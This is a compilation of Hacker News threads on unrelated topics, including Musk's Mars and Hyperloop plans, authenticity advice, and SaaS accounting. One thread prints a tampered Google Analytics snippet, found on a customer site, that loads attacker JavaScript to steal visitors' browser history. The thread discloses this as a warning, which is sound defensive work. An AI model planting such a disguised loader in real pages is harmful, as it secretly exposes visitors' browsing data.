Elon Musk: "I would like to die on Mars" - <AUTHOR> http://www.businessweek.com/printer/articles/71446-elon-musk-the-21st-century-industrialist <comment><USER3> _On the assumption that people will be living on earth for some time, Musk is cooking up plans for something he calls the Hyperloop. He won't share specifics but says it's some sort of tube capable of taking someone from downtown San Francisco to Los Angeles in 30 minutes. He calls it a "fifth mode of transportation"—the previous four being train, plane, automobile, and boat. "What you want is something that never crashes, that's at least twice as fast as a plane, that's solar powered and that leaves right when you arrive, so there is no waiting for a specific departure time," Musk says. His friends claim he's had a Hyperloop technological breakthrough over the summer. "I'd like to talk to the governor and president about it," Musk continues. "Because the $60 billion bullet train they're proposing in California would be the slowest bullet train in the world at the highest cost per mile. They're going for records in all the wrong ways." The cost of the SF-LA Hyperloop would be in the $6 billion range, he says._

The estimated cost projections for the bullet train project keep getting bigger. I've seen estimates as high as $68 billion: and that is for construction alone (not including maintenance, etc). If Elon Musk can come up with a better idea, I hope we can remove enough of the red tape (that incidentally makes endeavors like this so expensive) to at least let him try.

<comment><USER4> The California "high speed" rail project is depressing.

In theory, I'm a huge fan of high speed rail. But the California project is going to end up costing over $100 billion, and everyone knows it. It's going to take decades to complete. If, indeed, it's _ever_ completed. It's routed to go places no one wants to go. And, as Mr. Musk says, it' not actually going to be very fast. It's pretty much a classic textbook boondoggle.

I wish they'd cancel it and start over again from scratch in 10 years. It could still be finished faster.

<comment><USER5> _> It's routed to go places no one wants to go._

Big. Red. Flag.

The Minneapolis light rail uses the same equipment as Houston's light rail. The big difference is that the Minneapolis light rail goes between the airport, downtown, and the Mall of America. People can immediately see its value. Houston's light rail doesn't go to either of Houston's airports, even though it's sorely needed.

<comment><USER6> Note, though that the Houston light rail line connects two of the three big parts of Houston: Downtown and the Medical Center (+ the Museum district). I don't disagree that airport service is sorely needed, and the Galleria would be nice too, but it could be worse.

<comment><USER5> If the light rail went to the airports, then _many, many more_ people would understand the value of it. The part of the populace that occasionally goes to the airport and would much rather not have to drive is _much, much larger_ than the one that has to go between Downtown and the Medical Center and would much rather not have to drive.

Basically, light rail to the airports means _game over_ to the opponents of light rail. Short of that, there's still a chance to convince a majority of people that it's only a boondoggle.

</comment></comment></comment></comment></comment><comment><USER7> Given Mars' weak gravitational field, extremely low atmospheric pressure, lack of breathable oxygen, deathly cold temperatures, and weak magnetic field (leading to high levels of radiation), he may well get his wish. Many others will likely get this wish against their will.

If he would like to get a taste of realistic Martian colonization here on Earth, may I suggest living underground in a windowless tank, surrounded by a partial vacuum, next to a nuclear reactor.

<comment><USER4> If only humans had demonstrated some ability to construct defenses against hostile environments.

You know, like they've done since the invention of fire and the construction of lean-tos.

<comment><USER8> The self sustaining communities in the middle of the sahara give me enormous hope for these types of projects. The self contained undersea habitats as well.

</comment></comment></comment><comment><USER9> How about... you know, not dying? At least in the foreseeable future.

You can do a lot more awesome engineering and science and exploration if you don't die after ~80 years.

<comment><USER10> The estimated price tag for a good shot at implementing SENS and demonstrating robust reversal of aging in mice is $1B: $10M/year for ten years in each of seven research programs, plus some padding.

[http://www.fightaging.org/archives/2004/11/strategies-for- en...](http://www.fightaging.org/archives/2004/11/strategies-for-engineered- negligible-senescence.php)

[http://www.fightaging.org/archives/2012/04/aubrey-de-grey- on...](http://www.fightaging.org/archives/2012/04/aubrey-de-grey-on-the-costs- and-cost-effectiveness-of-sens.php)

[http://www.fightaging.org/archives/2004/10/the-cost-of- sens....](http://www.fightaging.org/archives/2004/10/the-cost-of-sens.php)

<comment><USER11> I'm not a billionaire (yet), but that's why 100% of my charitable donations go to the SENS foundation. Every marginal dollar has a much higher expected utility there than anywhere else that I've found.

<comment><USER12> I am a huge fan of SENS too.

Here is another place with high value per dollar:

<http://industrialprogress.net>

Industrial Progress is a very important and practical cause, and this group has a very effective leader who is actually having some effect at persuading people (particularly people in industry) and providing them with better ideas. And it's cheap. SENS needs a billion. A few hundred thousand would be huge here.

<comment><USER13> I second this recommendation, CIP has been doing an amazing job at showing how and why industrial progress is amazingly beneficial to human prosperity, while dispelling the common critiques the "green" movement uses to dispel this idea.

Both SENS and CIP are hugely important ventures that people should look into in my book.

</comment></comment></comment></comment></comment><comment><USER14> Now that Jobs is gone, Elon is probably the coolest guy in the world. Can't wait to see what he comes up with in the next 10-20 years.

<comment><USER15> Jobs was never a cool guy in my book. For me, Steve Jobs was an egocentric and self-centered. Elon is a visionary, just read this quote:

"I came to the conclusion that we should aspire to increase the scope and scale of human consciousness in order to better understand what questions to ask. Really, the only thing that makes sense is to strive for greater collective enlightenment."

Steve isn't even near to the impact of what Elon will have on humanity.

<comment><USER16> What you can surmise from that is that they've both probably taken some acid in their lifetimes. If Jobs were alive and younger, he too would probably have been at Burning Man, place of many a revelation to the technologically inclined.

<comment><USER17> You don't need acid to say things like that, just Star Trek.

<comment><USER18> Coming to this conclusion on acid is much more gripping and powerful than while watching star trek.

<comment><USER19> In other words, acid doesn't produce profound thoughts, it just makes you think your thoughts are profound.

<comment><USER20> I think the value of that should not be misunderstood. Imagine the reverse: it would be quite damaging if something made you think that your ideas were less profound or worthwhile than usual.

(I am saying this as someone who has never taken LSD, so take my take on it with a grain of salt I guess.)

</comment></comment></comment></comment></comment></comment></comment><comment><USER21> It's statements like this that have made me seriously consider applying for a job at SpaceX.

<comment><USER22> So do it. (I'm sort of hoping a reply like this is enough to bump you forward)

<comment><USER21> I started looking at jobs two weeks ago after Neil Armstrong died out of curiosity. I have a job at a place I love doing astrophysics, and I can't complain much about that, but I need to update my resume anyway.

<comment><USER23> Where are you currently working, out of _ahem_ curiosity?

<comment><USER21> Stanford, I work on software for big physics experiments.

</comment></comment></comment></comment></comment><comment><USER24> I recently discovered who Elon Musk was and I'm always astonished to read about him, and realize that he seems to have all the dreams that I have; plus the money, the wisdom and the experience to accomplish them.

I never had a model or a 'hero' in my life, but I find it hard to deny Elon this role. He's kind of imposing himself to me.

For some parts, he pisses me off. He doing it removes me the feeling that my dreams were mine. On the other sides, my pride motivates me to accept his theft as a challenge to try at surpassing him.

Now I'm only 25, so I guess I still have the time required to get on par, if I keep working hard enough.

<comment><USER25> Instead, go work for him. Go help make it all come true.

<comment><USER24> Well, right now I'm still doing my undergrad and they (SpaceX) only take US citizens or permanent residents for internships and COOP terms (I assume because of the legal complications given the nature of their work).

But I know _your_ company does take interns and you guys are at a 5 mins walk from my campus. So on a short term side, I'm focused on building my skill set for an internship in your shop! (Sorry for the cheap plug!)

<comment><USER26> > I assume because of the legal complications given the nature of their work.

Unfortunately, yes. Google "ITAR aerospace" for why :\

Still, the American aerospace industry has a long and illustrious tradition of bringing in experts from around the world and getting them citizenship. Get an internship somewhere that isn't ITAR-restricted and get yourself on the fast track for a green card.

</comment></comment></comment></comment><comment><USER27> Enough of the hero worship. If Musk gets on one of his rockets in 15 years and launches it towards Mars, he will certainly die. Long before he reaches Mars.

Yes, he's a great, fascinating man. I enjoy observing this stuff as much as the next guy. But Good God - stop slobbering on yourselves. This is marketing fluff of the highest order.

<comment><USER28> Is it "of the highest order" because it's marketing something substantive?

<comment><USER27> Exactly the opposite. It's the grand marketing of an even grander vision - <USER2> ultimate vaporware.

Where people with can dream up supersonic aircraft that are massively more efficient than the highly refined subsonic craft that have been built by thousands of very smart people over decades.

Where magic tubes will transport people near the speed of sound whenever they want for a mere $6B.

Where the realities of space flight are to be ignored because, well, the leader of the venture is a really good business man and has a lot of charisma.

Is this not the same hacker news where people get bent out of shape when Apple bends the truth on their iPhone marketing copy?

Fuck Mars. I'm going to Jupiter. In 2015.

The emperor has no clothes.

<comment><USER29> _Is this not the same hacker news where people get bent out of shape when Apple bends the truth on their iPhone marketing copy?_

Er, no, it really isn't.

The implication here is that he is actually working on these things, having had a "breakthrough" over the summer. It could be absolute crap, yes. But he has a number of previous successes that indicate he is capable of delivering. The overall point is that he _isn't_ just dreaming, he is clearly spending a lot of money on _doing_ as well.

<comment><USER30> >>The overall point is that he isn't just dreaming, he is clearly spending a lot of money on doing as well.

Furthermore, he is putting his money where his mouth is, by spending his _own_ money.

<comment><USER31> And finally, the results have been fucking great. The Tesla Roadster is absolutely unbelievable, it's more fun than most roller coasters. According to the reviews in car magazine, the Model S is similarly unbelievable in similar and other ways (fantastic ride/handling, absurd acceleration, great cargo capacity, seating for 5 comfortably, 7 with kids). And SpaceX is demolishing the other space launch companies in their space in terms of price to fulfill a launch. He's got way more license to dream up crazy things without being called out than pretty much anyone else alive.

<comment><USER27> Musk's reality distortion field puts Jobs' to shame.

He said he's going to send people to Mars in _15 years_. Here is one question. How often do you get a chance to launch a rocket to Mars? (Hint: it's not often). How many opportunities to send test missions and support gear will there be in the next 15 years? How long will it take to build all that stuff? A year? Two years? More? You just lost another mission.

Have they figured out how to get food there? Have they figured out how to breathe there? Have they even designed the vehicle or even the thermal system (for one example out of many) required to keep a human at a survivable temperature for the trip? Have they done _anything_ to solve the incredibly difficult problems that we face in this area? The results here are not 'fucking great', they're _non-existant_.

And the claim of a VTOL supersonic jet that is a breakthrough in _efficiency_ over traditional jets? Where are the results? There are none. zero. It's fantasy.

The results have been great for Paypal, impressive for Tesla, and SpaceX has proven a great contribution to the _existing_ aerospace industry. Great for Musk - he has accomplished much and history will remember him as an influential industrialist and visionary. But BS is BS, no matter who spews it.

EDIT: This thread has gotten lots of downvotes, but not one substantive comment on what Musk has done that would indicate that these stories are anything but puffery aimed at gaining publicity for his much more mundane (but still rather impressive) efforts. When is the first Mars launch again? What will be the payload? Tick tock - that deadline will be here before you know it. The time has past for vision - the timetable Musk has outlined requires action _now_. Action that is conspicuously absent.

<comment><USER28> The fact that you're getting downvoted aggressively for being a cynic on one of the most cynical sites should be an indicator that your cynicism is a bit out of control.

Just because Musk talks about early ideas that are extremely unlikely (like the VTOL jet) and may not pan out does not mean he's automatically a crackpot spewing marketing fluff. He's earned the right to espouse bold ideas.

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER32> I have always told myself that ending my days on another planet will be an absolute definition of success for myself no matter what else I don't manage to accomplish. It's a sufficient but not necessary condition. In ten years I hope to be working in a business related to space exploration.

</comment><comment><USER33> I love what Musk is doing, but both of his current engineering successes--- Space X and Tesla---involve building well-understood vehicles, just faster and at less cost than competitors. Doing entirely novel projects like a manned mission to Mars or some new kind of mass transportation system are orders of magnitude more difficult and uncertain, and I think he's grossly underestimating the time and cost for either of his more ambitious new goals. I'd like to see him make plain vanilla space transportation and electric cars into business successes comparable to PayPal before he moves on to Mars and Hyperloop.

<comment><USER34> I would like to see him do both. Even if the Mars stuff doesn't work out perfectly on his ambitious timeline SpaceX devoting resources to pushing the boundaries as well as refining the well known processes is going to create more innovation in the long run.

<comment><USER33> I would too, but in terms of immediate impact Tesla will have a greater social and economic significance for the planet than the Mars mission, and the company is really only getting started. I would hate to see Musk get bored with it and move on to a new toy while Tesla fails for lack of leadership.

</comment></comment></comment><comment><USER35> Re: "Boeing just took $20 billion and 10 years to improve the efficiency of their planes by 10 percent. That's pretty lame. I have a design in mind for a vertical liftoff supersonic jet that would be a really big improvement."

I respect what the guy has done. But a vertical liftoff supersonic jet is going to be more difficult than anything he had encountered, including rockets.

<comment><USER20> His entire life seems to have been spent doing progressively harder things. I would be surprised if he decided what he is currently doing is as hard as it is going to get.

</comment></comment><comment><USER36> I'd prefer to not die, but dying on Mars would be ok if dying is necessary.

<comment><USER37> Old things should go away after some time and make space for new things. Dieing is the prefered way. As long as we have limited space and resources. ;o) Otherwise there will be no real development. We will more or less stuck in where we are.

</comment></comment><comment><USER38> Yeah, you and me both Mr. Musk.

</comment><comment><USER39> I sure hope SpaceX ends up being a success. I also hope, if successful, they put a lot of money toward research on carbon nano tubes.

Hopefully, they or some other organization, could move towards building a space elevator sometime in the next 50-100 years.

<comment><USER4> I'd really like to hear more about Google's rumored work on space elevators.

</comment></comment><comment><USER40> Saying it that way makes it sound like a new retirement community. Why not say he would like to live on Mars? Maybe because it's a dead planet and not very livable.

<comment><USER41> I think the point is that he knows while he still has many years of his life ahead of him, eventually he'll be faced with mortality, and when that time comes, he would like to have pushed humankind's ability to reach Mars to the point where he could step foot there, live for awhile, and eventually be buried there.

</comment></comment><comment><USER42> That can be done for far less than establishing a long term colony there.

<comment><USER30> Well, he _did_ qualify the statement by adding, "and not during landing."

<comment><USER43> This is exactly what I tell people and they're surprised. If I was offered the chance to homestead Mars with the caveat that LEO and landing must be reasonable safe so I don't die in the boring parts, I'd sign up right away!

<comment><USER44> You and a lot of people. I'm sure a big chunk of the seasteaders would jump at the chance to live on a moon city.

So here is the entrepreneurial challenge, _believe_ Elon, in that he will make it possible to go to Mars, and before that it will be a lot easier to send stuff to the Moon. What can you start researching today so that 10 years from now when everyone realizes that this is going to come to pass you'll be way ahead of the game and visionary?

<comment><USER45> What about early settlement tech. Not only the habitats etc. but procedures a.s.o. for the first years: in what sequence to create stuff, run explorations, have emergency routines etc. all under the tight constraints of an early colony.

Intelligent robotics as assistants and autonomous explorers etc. with a focus on space conditions.

Advanced space medicine (say, transhuman spaceflight), modifications for the body, brain-machine-interfaces etc., there are many non-trivial issues: gravity, temperature, light, acceleration, radiation, ...

Interested? ;)

<comment><USER44> I've been thinking about the sequencing question a bit (steps to go from "we're here" to "We're ready to accept visitors".

There are some interesting papers on microwaving the regolith into a concrete like substance. Water generation or acquisition will be key of course so different water strategies are interesting. Water mining robots may be key.

All very neat stuff.

</comment></comment></comment></comment></comment></comment><comment><USER46> "SolarCity, where Musk is chairman of the board, is a player in the residential and commercial solar markets, with more than 28,000 customers, and is expected to go public imminently at a value of about $1.5 billion."

We're valuing crap, err FB, at $50 billion these days. Why is a company with actually something to offer to society getting valued at only $1.5bn ?

</comment><comment><USER47> I wonder if the Hyperloop is a maglev propulsion system contained within a vacuum tube? That would essentially be space travel - on earth. It would also allow for efficient use of energy, as long as the vacuum could be easily maintained.

<comment><USER48> That's only until the TSA gets involved.

</comment></comment><comment><USER49> For those who fiscaly are less likely to get to Mars and still wish to die on Mars can always read this and smile:

<http://en.wikipedia.org/wiki/Deep-fried_Mars_bar>

on another less serious note I believe the chap in this news item will beat him too it:

[http://news.ninemsn.com.au/world/573673/mars-addict-lives- on...](http://news.ninemsn.com.au/world/573673/mars-addict-lives-on-chocolate- for-17-years)

        Most people want to die in peace, but when you have to go to another planet to get peace then you just know noise polution has got a little bit out of hand.

</comment><comment><USER50> Go Elon! Big vision. Big execution. They ARE delivering. Get's my motor revving.

</comment><comment><USER51> Or maybe die on the way there.

McCoy: Don't pander to me, kid. One tiny crack in the hull, and our blood boils in thirteen seconds. Solar flare might crop up, cook us in our seats. And wait till you're sitting pretty with a case of Andorian shingles. See if you're still so relaxed when your eyeballs are bleeding! Space is disease and danger wrapped in darkness and silence.

Substitute Andorian shingles with just going crazy being cooped up in a tiny ship.

</comment><comment><USER52> _I would like to die on Mars, just not on impact._

Easy, remember a few years ago when some guys at NASA proposed that the first guys to Mars should be in their early 60s?

That's because getting there is not the problem, the problem are the copious amounts of radiation you would absorb on the way which means that even if you make it back you probably wont live much more.

So what those guys proposed was sending old astronauts on a one-way trip.

</comment><comment><USER53> I would like to die on Mars. Oh brother.

How come "shut up and just do it" applies to everyone but Elon? Why does he only have to talk about doing something to be hailed a hero?

Start backing some of this stuff up with action Elon.

<comment><USER54> >start backing this up with action

Not sure if sarcastic...

Elon Musk, as in: the guy who's company just ran a private reapply mission to /the international space station/.

<comment><USER27> I hate to break it to you, but everything NASA builds is built and operated by private companies. SpaceX is an incremental improvement on something that has been done for decades. That is a far cry from Musk's fantastic claims.

<comment><USER55> Commercially built: mostly true

Commercially operated: much less so (with exceptions, e.g. shuttle processing was kind-of commercial)

Commercially designed: nope.

The commercial resupply contracts may not quite meet everyone's idea of what "commercial" means (and there certainly was/is a lot of NASA scrutiny of the spacecraft -- rather less of the launch vehicle), but it's still a substantially different model from anything NASA has tried on a major project in the last half century.

<comment><USER27> This is just not true. NASA outsources pretty much everything to private companies. I designed NASA hardware myself while employed by a private company.

</comment></comment></comment></comment></comment><comment><USER56> It always astonishes me that not only did Heinlein invent the Segway ("The Road Must Roll"), he also invented the idea of people like Elon Musk (as D.D. Harriman in "Requiem").

</comment><comment><USER57> At first I thought they were talking about Elop from Nokia and I thought to myself 'yap, we could send him to mars tomorrow'.

</comment><comment><USER58> Conincidentally, I actually had a rather lucid dream about this a few nights ago. I can see it is possible even with today's technology to get there and stay there. It's just a matter of cost and inclination.

We need to send lots and lots of larger seed probes out there first though - not the limited scope probes and landers we're using now, but general purpose, long life scouting probes with engineering, tooling and life support payloads.

</comment><comment><USER59> I think dying on mars can be accomplished in a reasonable timely manner. Living on mars however might be hard.

</comment><comment><USER60> "Hopefully not on impact"

</comment><comment><USER61> a man of my generation sees a little of the Larry Ellison swagger about Elon Musk. I hope he does more.

</comment><comment><USER62> Don't worry Mr Musk, you won't have to die pretty soon.

</comment><comment> badcrowd-JG-IW DJ Lee Kalt. Vergeet hulle bestaan.</comment>


Unless You're Oprah, 'Be Yourself' Is Terrible Advice - <AUTHOR> https://www.nytimes.com/2016/06/05/opinion/sunday/unless-youre-oprah-be-yourself-is-terrible-advice.html <comment><USER2> This is truly an amazing piece of junk speculation from a supposed psych prof.

I find it interesting how the current culture is confusing social norms and personal acceptance when they want to then say "be a special snowflake". Not everyone will like you and that's okay. No one has to like you, except for you. You should like yourself. Generally speaking. Same goes with not liking everyone else. No one will like everyone. Again, nothing wrong with that. That happens when you foster self worth. Social cues are then far easier to manage when you learn that you can pick and choose who you can like and appreciate. It's easier to ignore assholes and enjoy the time with good people.

Monitoring social cues and being yourself are two different things. Being yourself means that you don't agree with everyone around you always to appease them. Social cues, or the self monitoring as they like to say is knowing when to say "I don't agree because xyz" or "you're a dumbass".

Damn it I feel like I'm taking crazy pills here. Did tech really make society this stupid this fast?

<comment><USER3> I'm completely on board with what you're saying. Liking yourself is important and sometimes very difficult. I used to obsess so much about not just being liked, but being the most liked. I hurt a lot of friends in my teenage years while trying to become the most popular person in the "group'. At some point in my 20s something clicked and I just stopped caring about how others thought of me. I felt confident in myself and I no-longer needed an audience to find me interesting or funny.

One of my favourite traits/quirks is making jokes that are guaranteed to bomb for anyone but myself or maybe someone who isn't present. I'll get confused looks and just say, "don't worry, the cosmos found that one hilarious."

<comment><USER4> Part of finding yourself, and not appealing to people is you take the next step and foster a better understanding of social interactions in groups. You use a bit of cynical implementation to be part of groups and team's. You're not doing to prove anything to you, but other than being singled out and isolated.

I understand being self actualize is great, but part of growing is what is more valuable to you isn't what you know but it's what other people know. If your not integrating yourself part of social circles you miss out on leads and adventures you wouldn't of otherwise found if you're sitting by yourself because no one want's to interact with yourself because you haven't developed yourself more than yourself.

</comment></comment></comment><comment><USER5> "Bullshit is what makes society work".

It's not a new idea.

Eventually it leads to where we are now: Living in a (hopefully temporarily) post fact society, where loud enough lies function as truth, where politicians have long since given up on the idea of genuinely believing anything they say, where corporate leaders own governments and chuckle at the idea of caring about the general wellbeing of mankind.

And where all the bullshit has lead to lots of tiny decisions based on misinformed priorities, cumulatively resulting in the largest mass extinction event in 100's of millions of years and a genuine existential threat to the human race.

I think authenticity is a very practical cultural goal. Misused and misunderstood sometimes maybe, but much needed.

<comment><USER6> I think it may be more complex than just "faking it makes you a winner". Faking it is easy, authenticity is hard. People who fake it every chance they get regress their character, while being authentic builds character. Authenticity is probably better long-term, for personal development. A leader who fakes it may be able to reach a position of power, but only authentic leaders will be able to create something when in power.

</comment></comment><comment><USER7> Be yourself is terrible advice if you read it as an excuse to thoughtlessly act on every impulse. That's not what being authentic means. It's unfortunate that the author fails to provide even a loose definition. High self-monitors aren't necessarily being inauthentic, and low self-monitors aren't necessarily being authentic. They simply have different strategies and preferences for navigating the social landscape.

Being yourself in this context is to me more about having a certain resilience to social responses -- being confident and without remorse with your words and actions, because they're grounded in your beliefs, attitudes, and behaviour. Just because you're being authentic doesn't mean everybody will like what you're saying or doing. But if you're authentic you can take it or leave it and keep going.

<comment> em-bee i can't imagine how i could be authentic without monitoring myself and making deliberate decisions about how i see myself and what i consider part of my authentic self.

for example, i deliberately don't cross roads on a red light, even if everyone else is doing it. that's something that i decided i want to be part of the person i want to be. but when i go with friends, i have to watch out not to betray that by just following them.

</comment></comment><comment><USER3> There's no such thing as "authentic" and there's certainly no such thing as an "authentic self". If you're the kind of person who _hates_ going to the bar, but goes because you like having friends, and to survive it you go into comedian mode, that's a part of who you are.

<comment><USER8> Beeing yourself can also be an excuse to never change. If somebody is beeing themselves but happens to clash constantly in unhappy ways with their environment, maybe they are not beeing themselves, but they have unresolved issues of some sort — and cementing who you are at a certain point of time is not gonna help.

</comment></comment><comment><USER9> "Be yourself" is the best advice I've ever received. But it took me nearly 20 years after I heard it to figure out who I really was.

</comment><comment><USER10> Opinion pieces like this always strike me as more about their individual definition of the phrase.

To me "Be Yourself" doesn't meant to blurt out everything in your head it means don't try to be something you're not.

In my experience people can subconsciously pick up on authenticity and if you're trying to be something you're not you're just going to fall flat on your face.

To put it simply to be yourself is to always strive for genuine connections and goals which truly interest and excite you, in work, love or whatever

</comment><comment><USER11> I am reminded of Lily Tomlin who said:

"I always wanted to be somebody, but now I realize I should have been more specific."

</comment><comment><USER12> To "be yourself" is not the same as "be blunt and ignore any basic social norms". Unless your true self has no tact, no social interaction skills and only thing it truly wants is to lay with all the women in line of sight. It is not a call to degrade ones all being to instinct/raw emotion level behaviour. Shape yourself as an individual by thinking, analyzing and making own decisions rather than copying everything that seems(!) popular, cool, intelectual.

</comment><comment><USER13> Since nobody else has said it: Oprah isn't herself either. Her backstory is quite amazing, but I would not characterize it as a story of being herself and forcing the world to adapt to her desires; I would characterize her as hard- working, willing to experiment and grow, and making the most of opportunities. The only thing that "be yourself" might have to do with Oprah is her name.

This article might be junk.

</comment><comment><USER14> In case you didn't click through, the brutal experiment in honesty mentioned by the OP is really worth a read.

[https://www.esquire.com/news- politics/a26792/honesty0707/](https://www.esquire.com/news- politics/a26792/honesty0707/)</comment>


Ask HN: How do you deal with accounting for your EU SaaS? - <AUTHOR>

We are running a recurring revenue business in the UK that now has over 3k users (wohoo!) but are having problems with the accounting side. We're way over the Xero soft limit of 1000 transactions per month but struggling to deal with the best/simplest way of accounting for a large number of small transactions. The product is B2B, so all our customers require invoices each month.
How do EU companies deal with this? I think I want to put a single transaction into Xero each time we get paid by Stripe, but the hard part is figuring out the VAT of that amount as some of our products are VAT-able and some are not. I want to avoid having to write anything but I think I am going to have to...
Is there a "textbook" way of dealing with this? Currently we are just going
Stripe > Load of Messy code that breaks all the time > Xero
and thinking this:
ChargeBee > Stripe > ??? > Xero
Would be simpler but it still doesn't appear to get us 100% of the way there... <comment><USER2> We use Recurly, Stripe and FreeAgent. Recurly creates the invoices required for customers (so thats nice and simple).

Our book keeper creates an invoice for each day within FreeAgent, we then attribute the amount that came from Stripe in to it.

We then download the CSV data from Recurly and work out how much VAT should be attributed to the specific invoice.

We also work out currency gains/losses as well here.

FreeAgent lets you add a VAT item to the invoice.

It's a bit of a pain but gives our customers what they need, and it gives us what we need from an accounting perspective.

Recurly stores all of the transactional data if we ever need to go back and audit it for any reason.

Hope this helps!</comment>


The Internet loves a particular kind of history - <AUTHOR> http://velamag.com/beyond-the-archives-an-interview-with-rebecca-onion/

<comment><USER2> The relevant question is pretty far down the page, here's the money quote:

>The stuff she found that goes viral is either stuff that is telling a truth that seemed hidden in some way, is really informative and someone might not have heard of before, or is really amazing and shocking. What doesn't go viral: anything ambiguous, anything that doesn't tell a really direct story, that's not easily transmissible. I think the kind of history that does well on the web is the stuff that's really unambiguous.</comment>


Research could usher in next generation of batteries, fuel cells - <AUTHOR> http://www.sciencedaily.com/releases/2015/04/150410083556.htm

<comment><USER2> Bad news for Mexico, your corn prices are going way way up!</comment>


Shit Silicon Valley Says - <AUTHOR> http://www.youtube.com/watch?v=BR8zFANeBGQ

<comment><USER2> Pretty darn funny! "He had his first exit when he was like 9."

</comment><comment><USER3> It's funny because it's true

</comment><comment><USER4> pretty funny. I feel like I'm listening/watching my twitter stream. haha</comment>


Silicon Valley was going to disrupt capitalism. Now it's just enhancing it - <AUTHOR> https://www.theguardian.com/commentisfree/2016/aug/07/silicon-valley-health-finance <comment><USER2> I genuinely don't understand the point of this article. It seems to be that, because technology companies are partnering with businesses in other industries, they're somehow betraying the "disruptive" culture of the technology industry.

Is it so hard to believe that you might want to partner with GSK for bioelectronics research? Regardless of your opinions on GSK or the pharmaceutical industry in general, where else would you find that many scientists and researchers who can actually do the work? Sure Google could set up a recruiting blitz and try to raid the pharmaceutical industry, but they have little to no expertise as it is (I assume), so why _wouldn 't_ you want to work with someone who does?

Same thing with Chrysler. Why would Google want to start out in the automotive industry with a huge capital outlay to build a factory, staff it, etc.?

Sure, if these things take off and there's real money to be made, maybe it makes sense to take the work in-house, through development or acquisitions (e.g. Motorola), but I don't know why it's somehow "bad" to partner with companies who have expertise you don't.

</comment><comment><USER3> When was ever Silicon Valley was going to be or has been disruptive to capitalism? It was always about mega corporations, bubbles and venture capital...

If anything SV did was to "enhance" capitalism as it centralized capital arguably even more than the financial sector, it's super easy to inflate valuations hence generating capital and it requires almost no initial investment and very low operating costs.

SV doesn't build huge factories, it doesn't create "tangible" assets, and it requires almost no workforce (compared to other industries) to operate.

5 guys in a garage birthing billion dollar companies isn't disruptive to capitalism it is it's wet dream; "you telling me I don't have to build multi- billion dollar factories and employ 150K workers to create a 10bln dollar company?! where do i sign?!"

EDIT: As for the article itself, the title is just odd, SV vs "big pharma" has nothing to do with capitalism. SV (or the "startup scene") was never really good at disrupting markets that require decades of research and tons of "actual work", software is quick and easy to make, if you can easily wrap it around an existing business model or idea you got a product which is relatively quick and easy to launch. SV can't easily take on the pharmaceutical industry because it's modus operandi is antithetical to the drug industry. This is the same reason why no one in SV was really taking on companies like Intel or NVIDIA or even the likes of Altera or Qualcomm because you can't "hack" your way into making silicon without doing decades of R&D.

"Hardware" (or if we shall call a duck a duck then "software as a dongle/thingie") startups are now becoming sort of a thing because cheap, small, powerful and power efficient general purpose silicon is now dirt cheap and available everywhere. Additionally there are tons of chip design/fabrication companies that would create semi-custom silicon for you within a span of a few weeks without you having to really do anything you just define what you want your SOC to do and look like and you get it in the mail 6 weeks later.

SV can still innovate in the medical scene primarily around the edge and core technologies like deep learning, simulating biochemistry and protein folding health information management and the such. But even then this won't really be traditional SV startups as the majority of them will grow for the academia because you still need research in very specific fields and not a good idea for an app and a few programmers.

</comment><comment><USER4> The aim of silicon valley companies, or any other company for that matter, is to make a profit. Sometimes, to profit, you disrupt, other times, you partner. This whole notion that the valley is anti capitalist seems unsubstantiated.

</comment><comment><USER5> Can we just adopt that as a general rule? All things done with a good intention will backfire.</comment>


The Go image package - <AUTHOR> http://blog.golang.org/2011/09/go-image-package.html

<comment><USER2> From a read through the description it looks like this library covers the basics well, but has two important limitations which make it less useful for "serious" image processing:

\- It doesn't support floating point types (half, single or double) for channel values, so it can't be used with HDR images.

\- It requires channel values to be interleaved for each pixel (e.g. RGBRGBRGB rather than RRRGGGBBB), which is less efficient in some situations. Supporting both would be better.

<comment><AUTHOR> It's really easy to write your own implementation of the Image interface. At the moment the majority cases are covered. I could see something like what you describe coming in the not-too-distant future, as we see how people are using the package.

</comment></comment><comment><USER3> After having recently dealt with libpng in C, and PerlMagick in Perl, I'd consider learning an entire new programming language just to have sane access to images. This looks pretty well designed.

<comment><USER2> You might be interested in OpenImageIO then:

<http://www.openimageio.org/> <https://github.com/OpenImageIO/oiio>

It has a very well thought-out interface.

</comment></comment><comment><USER4> Very cool to see, if you poke around a bit, there's a decoder for vp8 in Go as well. I wonder if an encoder might be coming as well?</comment>


Modified Google Analytics XSS - <AUTHOR>

I found this on a customer site (for example) customersite.com.  Looks like Google Analytics tracking code right?
<script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://customersite.com" : "http://www.customersite.com"); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); var test = unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"); </script> <script type="text/javascript"> try{ var pageTracker = _gat._getTracker("UA-xxxxxx-x"); pageTracker._trackPageview(); } catch(err) {}</script>
Somehow my customer had been tricked into changing: "https://" : "http://" to: "https://customersite.com" : "http://www.customersite.com"
This makes the JavaScript called from http://www.customersite.comgoogle-analytics.com which then redirects to dxwebhost.com/l.js for the JavaScript. It looks like JavaScript file then uses a CSS vulnerability to look-up the user's browser history, and asynchronously send it off to the third party site.
So if you happen to be looking at your network traffic and notice your browser history is being sent off to a strange site, check out the Google Analytics tracking code. <comment><USER2> Very clever, I wouldn't have noticed that just reading through the code. Whomever the thieves are, that mod was a nice hack.

</comment><comment><USER3> What do you suppose people might do with this sort of data if they weren't in a legitimate position to monetize it (e.g. through an ad network)?

This code will sit there probing your cache over and over, it seems to just check a huge list of domains in order of Alexa rank.

</comment><comment><USER4> I just found a way to automate XSS in Google PlayGround.

[http://christopherwoodall.com/blog/?x=entry:entry100814-0521...](http://christopherwoodall.com/blog/?x=entry:entry100814-052131;comments:1)</comment>


jQuery++ - <AUTHOR> http://jquerypp.com/

<comment><USER2> Great additions to an already great library. I've already found a use for this guy: <http://jquerypp.com/#formparams> Thanks for posting!</comment>


An Instagram star with 2M followers couldn't sell 36 T-shirts - <AUTHOR> https://www.insider.com/instagrammer-arii-2-million-followers-cannot-sell-36-t-shirts-2019-5 <comment><USER2> I wonder how much of this is that she's young and I imagine many of her followers are as well (ie, they may not have as much money to spend). I follow some wood-workers on YouTube/Insta with fewer followers and they definitely seem to sell a lot of goods.

